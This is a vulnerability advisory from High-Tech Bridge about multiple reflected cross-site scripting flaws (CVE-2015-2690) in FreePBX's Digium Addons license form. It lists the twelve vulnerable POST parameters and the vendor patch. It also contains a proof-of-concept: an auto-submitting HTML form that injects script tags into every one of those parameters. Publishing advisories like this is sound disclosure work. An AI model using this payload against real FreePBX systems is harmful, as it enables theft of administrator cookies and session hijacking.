Multiple Cross-Site Scripting (XSS) in FreePBX

Advisory ID: HTB23253
Product: FreePBX
Vendor: Sangoma Technologies
Vulnerable Version(s): 12.0.43 and probably prior
Tested Version: 12.0.43
Advisory Publication: March 18, 2015 [without technical details]
Vendor Notification: March 18, 2015
Vendor Patch: March 27, 2015
Public Disclosure: April 22, 2015
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2015-2690
Risk Level: Low
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in FreePBX, which can be exploited to perform Cross-Site Scripting (XSS) attacks against web application administrators. This vulnerability can be used to steal administrator’s cookies, perform phishing and drive-by-download attacks.

1) Multiple XSS vulnerabilities in FreePBX: CVE-2015-2690

Input passed via multiple HTTP POST parameters to "/admin/config.php" script (when "type" is set to "setup", "display" is set to "digiumaddons", "page" is set to "add-license-form", and "addon" is set to "ffa") is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The vulnerable HTTP POST parameters are: "add_license_key", "add_license_first_name", "add_license_last_name", "add_license_company", "add_license_address1", "add_license_address2", "add_license_city", "add_license_state", "add_license_post_code", "add_license_country", "add_license_phone", and "add_license_email".

The exploitation example below will show JS pop-up displaying "ImmuniWeb":

<form action="http://[host]/admin/config.php?type=setup&display=digiumaddons&page=add-license-form&addon=ffa" method="post" name="main">
<input type="hidden" name="add_license_key" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_first_name" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_last_name" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_company" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_address1" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_address2" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_city" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_state" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_post_code" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_country" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_phone" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_email" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_submit" value='Submit'>
<input type="submit" id="btn">
</form>
<script>document.main.submit()</script>

Solution:

Update Digium Addons Module of FreePBX installation to version 2.11.0.7

More Information:
http://git.freepbx.org/projects/FREEPBX/repos/digiumaddoninstaller/commits/2aad006024b74c9ff53943d3e68527a3dffac855

References:

[1] High-Tech Bridge Advisory HTB23253 - https://www.htbridge.com/advisory/HTB23253 - Reflected Cross-Site Scripting (XSS) in FreePBX.
[2] FreePBX - http://www.freepbx.org - FreePBX is as an open source, web-based PBX solution.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.